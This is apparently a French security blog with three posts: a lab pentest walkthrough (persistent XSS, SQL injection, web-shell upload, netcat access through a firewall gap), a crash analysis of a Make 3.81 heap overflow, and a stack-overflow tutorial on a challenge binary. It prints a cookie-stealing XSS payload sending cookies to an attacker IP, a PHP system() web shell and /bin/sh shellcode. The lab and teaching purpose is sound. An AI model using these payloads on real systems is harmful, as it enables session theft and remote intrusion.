jeudi 20 novembre 2014

Pimp my pentest : a classic and full pentest senario

C'est la saison des marrons les cheminées démarrent, et les pentests battent leurs pleins 
dans les entreprises, je me suis dit pourquoi ne pas dérouler un scénar complet relativement 
réaliste, le genre de chose que l'on peut croiser en entreprise.Au lieu de parler simplement d’une 
technique ou juste de l’aspect d’une vulnérabilité. Qui sait où ce pentest va nous mener !

Je vais me baser sur le PTES une référence en matière de pentest et de test d'intrusion. 
Voici les 4 principales étapes : 

1 Recon / Fingerprinting

2 Audit de sécurité / recherche de vulnérabilité

3 Exploitation des vulnérabilités trouvée 

4 Post Exploitation

5 Rapport




PRE REQUIS 

Sous votre VBox créer une conf en réseau privé puis vérifier son ajout dans votre ifconfig
vboxconnect0 , pensez à mettre une deuxième sortie pour avoir un accès vers le net.
Effectuez les tests nécessaires pour voir si tout fonctionne. 


I. RECON / FINGERPRINTING
Nous allons en premier lieu voir à quel type de serveur et de services nous avons affaire. 
Cette étape est la prise d’empreinte ou fingerprinting, utilisons donc nmap pour cela. 
Ici nous sommes sur un pentest qui à été demandé par le client donc aucune raison de faire le parano, 
dans le cas où vous devriez faire cela de façon la plus discrète possible vous pouvez 
faire un DECOY avec nmap, vous allez volontairement générer beaucoup de trafic vers la cible afin de masquer votre scan. 

Pour plus d’info la page officielle de Nmap sur cette technique http://nmap.org/book/man-bypass-firewalls-ids.html

Revenons à notre requête et son résultat :




Comme on pourra le constater il semblerait qu’un service web soit actif (Apache httpd 2.2.16 Debian)

Allons voir ça de suite ! 



2. RECHERCHES DE VULNERABILITES 

On vas faire le tour pour voir un peu le contenu du site et trouver des vulns,
dans les rubriques Welcome et Test :



 Voyons voir si une XSS passe dans un des champs … <script>alert(1)</script> ou <h1>XSS</h1>



Bingo Le champ Text est vulné et en plus de cela c’est une persistante, ce qui vas nous arranger grandement. 

3.EXPLOITATION DE VULNERABILITES

On prendra un Payload du type vol de cookie :
<script>document.write('<img src="http://votre_IP/?'+document.cookie+'"/>');</script>

Une fois la page cible trouvée et le payload envoyé on effectue une écoute comme ceci  (On relance nc aprés chaque requête).








Et nous voilà sur l’interface admin … On dit merci qui ? ;-) 

Donc à partir de cette page on va pouvoir découvrir certainement de nouvelles vulns,ce qui va nous permettre de continuer notre exploit un peu plus loin . Depuis l'interface admin nous éditons une catégorie et là surprise ! http://192.168.56.101/admin/edit.php?id=1 peut être une SQLi ? SQLmap va nous dire ça.






Utilisons la seconde requête que SQLmap teste, oui vu la grande complexité de la requête nous allons poursuivre à la main, sinon ce serait un peu comme rentrer avec un bulldozer chez grand-mère.

Nous allons utiliser “union select” comme SQLmap à pu nous le signaler. Nous savons que le nombres de colonnes est de 4, on vas pouvoir travailler avec ça déjà, un premier payload en ciblant la troisième colonne ce qui nous donne ceci : 
  



Nous allons générer un FULL PATH DISCLOSURE afin de récupérer le chemin à utiliser pour la suite avec l’insertion d’un Array (id[]= ) comme ceci http://192.168.56.101/admin/edit.php?id[]=1 ce qui nous renvoie l'erreur suivante :

Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /var/www/classes/post.php on line 111 Notice: Undefined variable: post in /var/www/classes/post.php



Nous avons un accès, vérifions s'il est possible d’uploader  une backdoor php :
vérifions maintenant si la page php à correctement été crée.





C’est pas glop tout ça ! Essayons cette fois ci sur un autre dossier par exemple css/



Good ! çà fonctionne ! Ce sera notre répertoire de travail. Nous allons donc créer un payload
sur la même base avec pour objectif l'obtention d'un shell via un appel à la fonction php system() 
qui prend en paramètre c récupéré en get.

<?php
system($_GET['c']);
?>



Vérifions à présent que notre backdoor a bien été uploadé sur le serveur.


4. POST EXPLOITATION

Pour conclure et garder un accès  persistant sur ce serveur nous pouvons envisager une backdoor avec Hping3 qui a l'avantage de permettre de faire de l’évasion de Firewall. Oui mais voilà hping3 n’est pas installé, et on vas pas commencer a envisager de passer par wget et Cie vu que l’on ne dispose pas des droits pour compiler.Il y a une autre possibilité le serveur dispose  au minimum d’un port (80,http) côté WAN, je vais donc scanner cette interface car au vu du résultat du scan et du ping qui ne passe, il est fort probable que nous soyons face à un Firewall.


Output du scan de l'ip publique



On retourne sur notre webshell et on lance nc sur un des ports ouverts, à priori certaines règles ont dû être oubliées donc nous allons faire un port reuse afin de nous servir du Firewall Misconfiguration laissé par l'admin.



Il nous reste plus que la dernière étape prendre l’accès a distance avec netcat, une fois sur le shell on pourrais finir avec une privilège escalation.



5. RAPPORT

  RAPPORT DES VULNERABILITES TROUVEES :

CRITIQUE
1.XSS persistante /blog 
Descriptif :
Execution de code arbitraire côté client 

Conséquences : 
Vols de sessions 
Compromission du navigateur du client 
Installation de Programmes malveillants (Adware, Banker, Trojan, Backdoor)

2.SQLi Blind /admin/edit.php?id=1
Descriptif: :
Injection de code SQL permettant l'intéraction avec la base de donnée

Conséquences : 
Vol d'informations sensibles
Obtention d'un accès distant 
Compromission totale du SI

MODERE
3.Firewall Misconfiguration 
Descriptif :
Mauvaise configuration du Pare-feu
Règles obsolètes ou manquantes

Conséquences: 
Possibilité de contournement du Pare-feu
Accés à des services non protogés

FAIBLE
4.Path DISCLOSURE /admin/edit.php?id[]=1
Descriptif:
Fuite d'information (obtention d'un chemin d'accés)

Conséquences: 
Récupération d'informations  


Liens utiles Pentestlab.com

mardi 15 juillet 2014

Make 3.81 pointer dereferencing Heap based Overflow PoC



j'ai dernièrement entendu parler de  Make et d'une potentielle brèche, certains disent que c'est pas encore vérifié. 
Donc j'ai pas hésité une seconde ! Je devais vérifier çà ! J'ai fais mes test sur Make 3.81  sur les architectures X86,x64
sur les distributions Arch, Fedora, Debian, Ubuntu.Je vais reprendre certaines partie du Poc publié sur Exploit-Db

On peut commencer par se faire une idée des protections sur le bin MAKE avec Checksec (https://github.com/slimm609/checksec.sh).

©t.vivien

### 32 bits ###

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   make

### 64 bits ### 

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   make

On pourras effectivement s'étonner d'une protection aussi faible pour un binaire pouvant compiler tout les programmes sur un système linux. 


Je vous passe les détails de la recherche fastidieuse du Segfault et j'en viens à l'essentiel.
Le Seg Fault se trouve : à 4096 octets plus l'offset de retour 4 octets soit 4100. Voici un aperçu 

Overflow Code :
 40cc59: 74 10                je     40cc6b <__ctype_b_loc@plt+0xa52b>
 40cc5b: 0f 1f 44 00 00       nop    DWORD PTR [rax+rax*1+0x0]
 40cc60: 48 89 c3             mov    rbx,rax
 40cc63: 48 8b 00             mov    rax,QWORD PTR [rax] // heap overflow 


Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0xdeadbeefdeadbeef 
RBX: 0xdeadbeefdeadbeef 
RCX: 0x4242424242424242 ('BBBBBBBB')
RDX: 0x0 
RSI: 0x7fffffff97d0 ('A' <repeats 200 times>...)
RDI: 0x7fffffffa7e2 --> 0x732e656c69666500 ('')
RBP: 0x7fffffffb930 --> 0x1 
RSP: 0x7fffffff95f0 --> 0x0 
RIP: 0x40cc63 (mov    rax,QWORD PTR [rax])
R8 : 0x4242424242424242 ('BBBBBBBB')
R9 : 0x7ffff7972440 (mov    dx,WORD PTR [rsi-0x2])
R10: 0x4242424242424242 ('BBBBBBBB')
R11: 0x7ffff799f990 --> 0xfffd28d0fffd2708 
R12: 0x1 
R13: 0x0 
R14: 0x6397a0 --> 0x6f2e25 ('%.o')
R15: 0x0
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

Comme vous le constatez plus haut on contrôle RAX, pour pousser l'exploit on pourrais utiliser des gadgets style mov %rbx, %rax

Pour faire cette recherche on utilise Objdump -D -M intel make | grep "mov" | grep "rbx"
40cc60: 48 89 c3             mov    rbx,rax <- je prendrais celle-ci pour l'exemple

rbx prend la valeur de rax ce qui nous permet de controler rbx, sachant que %ebp(addresse la plus basse de la stack)
vaut la sauvegarde de la stack à la sortie de la fonction Calloc.La fonction Calloc est dimensionnée a 4096 octets
donc une seule page virtuelle et c'est pile  notre valeur de Seg fault + 4 octet pour l'offset de retour.
On tombe sur notre Derefenrecing pointer 
  
©t.vivien
[-------------------------------------code-------------------------------------]
   0x40cc59: je     0x40cc6b
   0x40cc5b: nop    DWORD PTR [rax+rax*1+0x0]
   0x40cc60: mov    rbx,rax <= Gadget
=> 0x40cc63: mov    rax,QWORD PTR [rax] <= Pointer Dereferencing 
   0x40cc66: test   rax,rax
   0x40cc69: jne    0x40cc60
   0x40cc6b: cmp    DWORD PTR [rbp-0x105c],0x1
   0x40cc72: lea    rdi,[rbp-0x40]
[------------------------------------stack-------------------------------------]

J'ai d'ailleurs commencé à trouver de bonnes pistes ;-) un possible article sur une exploit de make serait sympa.Mais je vais m'en assurer et faire un truc béton. 

Vous pourrez retrouver prochainement le POC sur Exploit-Db

lundi 17 février 2014

Smashing the stack for fun and dummies

Bonjour,

Mon premier article portera sur les Stack Overflow, pourquoi ?
Certains me diront que c'est obsolète ;-) .

Je leur répondrai que pour passer aux  ROP (Returrn Oriented Programming) il faut déjà connaître les Stack Overflow...Cela reviendrai a dire faire maître nageur sans savoir nager !

Qu'est ce qu'une Stack Overflow ? Pourquoi, comment, qui, quoi ....

Quand vous lancer une application elle se charge dans la pile d’exécution (stack).
Cette stack à une taille prédéfinie par le programmeur ayant écrit le programme.
L'application demande une allocation mémoire pour charger ses différents paramètres (scalaires, tableaux fonctions,...) En temps normal l'application a la place nécessaire pour s'exécuter en mémoire à moins de coder avec les pieds... là je peux rien pour vous !


©® T.Vivien

Il y a une faiblesse dans la façon de programmer c'est de ne pas contrôler la longueur de la chaîne. voici un exemple en C

char username[512] = {1};

Pour les non initiés char est un tableau d'une taille de 512 octets.
Comme vous le constaterez "username" parle de lui même, perso je ne connais pas de prénom ou nom faisant 512 octets de long. Il aurait été plus judicieux de prévoir la longueur d'un login ou utilisateur environs 12 caractères donc en étant large 30 octets, mais comme je le dit plus haut il fallait contrôler la longueur de la chaîne.

Pour vous démontrer la suite vous allez avoir besoin de quelques notions en assembleur. L'assembleur est le premier langage qui transforme les instructions machines en langage compréhensible par l'homme, il est donc un langage de bas niveau.

Les instructions de base de ce langage sont définies par le type de processeur Intel ou Amd et l'architecture de celui-ci 32 ou 64 bits
ici nous parlerons d'un processeur Intel en 32 bits. je présenterai seulement l'essentiel

Un processeur 32 bits de type Intel dispose de 16 registres qui sont classables en trois catégories :

les 8 registres généralistes utilisés pour contenir des données et des pointeurs ;
les registres de segments utilisés pour contenir l’adresses des différents segments (données, code, etc.) ;
les registres de contrôle et de statut qui donnent des informations sur l’exécution du programme en cours.

Deux registres nous importent seulement :

Le registre EIP (Instruction Pointer) contient l’offset de la prochaine instruction à exécuter. Il est modifié automatiquement à chaque exécution et peut être manipulé par des instruction du type jmp, call, ret, etc. On ne peut pas accéder directement à ce registre.

Le registre ESP (Stack Pointer) récupère l'adresse du haut de la pile, ce pointeur est fixe et restera toujours sur le haut de la pile

J'imagine qu'un schéma ne serait pas de trop. Comme je vous le disais plus haut un programme (une fois exécuté il devient un processus) et dispose de son propre espace mémoire.

Celui-ci est divisé en trois catégories : Section texte - Section données - section Stack
(voir schéma plus bas)

La section texte(.text) contient les instructions pour exécuter le programme,il est délicat de venir modifier les instructions car cela change le déroulement du programme ou pourrait le faire crasher.
La section data (.data) contient les variables non initialisées

la  pile (stack) contient les variables et instructions en mémoire
Avant toute chose la lecture se fait dans le sens inverse de la lecture d'une page.

Voici un aperçu des segments




vous devez imaginer que cette pile est comme une stalactite la pile est fixée au plafond et avance vers le bas



------------------------- *** REPRESENTE LE PROCESSUS ***
| Section text         |
-------------------------
| Section Data        |
-------------------------
| Stack                  |
-------------------------
 * haut de la pile *


  * bas de la pile *
------------------------- ***  STACK ***
|                           |
-------------------------
|                            | < ---- EBP
-------------------------
|                            |
------------------------- < ---- ESP
 * haut de la pile *

    /\
          ||
          || EIP
          ||

©® T.Vivien

Venons en à un exemple concret notre application s'appellera binary7 type de fichier ELF 32-bit LSB exécutable, Intel 80386.Je me suis basé sur un binaire d'un site de challenge célèbre ;-)




cette application attend un argument nous allons lui faire afficher des A jusqu'à ce qu'elle arrive sur un " Seg fault". A moins d'avoir 10 ans devant vous pour écrire des A à en vomir je vous conseille de rendre çà plus soft. Commencer doucement avec cette commande `perl -e 'print "A" x nombre de A`





Magnifique on a eu notre seg fault maintenant il faut vérifier si le registre EIP est plein. La valeur décimale de A est de 41, vous allez comprendre par la suite. Sortons notre à boîte outils.
Go gdb, le debugger natif sous linux. Lancer votre application avec gdb comme ceci


vous allez exécuter le programme comme tout à l'heure, c'est à dire avec l'affichage des A qui vous renvoie un seg fault.

A partir de là nous allons nous concentrer sur la valeur de EIP. Rappelez vous c'est le registre qui prend la prochaine instruction à exécuter. nous allons reprendre cette commande jusqu'à ce que EIP soit plein de A soit 41414141.




Disons que je vous ai mis le résultat où EIP est plein rien ne sert d'aller au dessus si vous vous posez la question.Pour continuer il va nous falloir créer un Payload (nop (x\90) , un shellcode, offset de retour). Donc soit On se forge notre shellcode ce que je présenterai dans un prochain article, mais là on est pressés donc Go google ! Un shellcode se choisit en fonction de son architecture, sa fonction finale et de sa longueur. Donc ici ce sera du intel 32 bits, et nous souhaitons avoir un shell (/bin/sh) et on va tâcher de trouver un code pas trop grand donc on oublie les shellcodes polymorphiques ;-) .

je vous propose celui-ci
 \x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80

Pour terminer nous allons devoir faire un peu de maths. Reprenons tout çà schématiquement, on est sûr que notre programme crashe complètement avec EIP  rempli de A avec 516 octets, ce sera notre somme de base.

516 = (xNop - longueur du shellcode - longueur de l'offset)

Nous ne connaissons que 2 éléments la valeur totale et l'offset qui vaut 4 octets

Voici un moyen de calculer la longueur de la chaîne de notre shellcode :


attention si vous passez par un script bash de type écho :
echo "votre super shellcode" | wc -c le résultat pourrait être tout autre car celui-ci prend en compte les \x. Autant vous dire vous êtes en train d'assimiler un concept nouveau ne commencez pas à partir du côté obscur .

29 octets est notre longueur de shellcode, si l'on reprend notre calcul initial

516-4= 512
512-29=483 nop !

Qu'est ce qu'un nop ? c'est son appellation en assembleur  pour dire "no opération". A ne surtout pas confondre avec un null.Un null byte est une fin de chaîne je pense que vous avez compris ce que cela signifie ? ;-)

nop = \x90
null byte=\x00


Nous avons enfin toutes nos valeurs pour forger notre Payload final, il reste encore notre adresse de retour à trouver. Où elle peut bien être ? Vous vous rappelez de ESP qui est le pointeur du haut de la pile.... je dis çà je dis rien. l'idée pour afficher quelque chose de correct on travaille depuis le début avec 516 octets, je pense qu'afficher les 400 premiers octets de ESP cela devrait suffire.


***Quelques lignes plus loin nous voyons apparaître les A ***



l'adresse de retour ne se limite pas à une adresse  unique du moment que vous tapez dans le milieu après il faut tester votre adresse de retour. Notre offset est 0xbffffdac, nous sommes sur du Intel la lecture se fait de la fin vers le début comme ceci ac bd ff bf. Une fois rajouté au Payload cela donne \xac\xfd\xff\xbf\.

Enfin nous sommes prêts pour notre test !





Great ! nous avons un shell ! il nous suffit de quitter gdb et de reproduire la même chose...




l'idée de ce challenge était de récupérer un accès pour lire le password. quelques précisions pour les plus novices. 
whoami = qui suis je ? quel utilisateur je suis 
cat = permet de lire le contenu d'un fichier 

L'article se termine ici je vous propose un petit script en perl qui va vous faire gagner un peu de temps, je vous montre ça rapidement.Le script est à votre disposition. Il exploite le binaire et renvoie les résultats ci dessous :



Merci pour votre attention, en espérant que cela vous aura permis de voir plus clair et de saisir le principe des stacks overflow. N'hésitez pas à me solliciter pour améliorer le contenu de cet article

BoF_tools.pl

### HyP ###

©® T.Vivien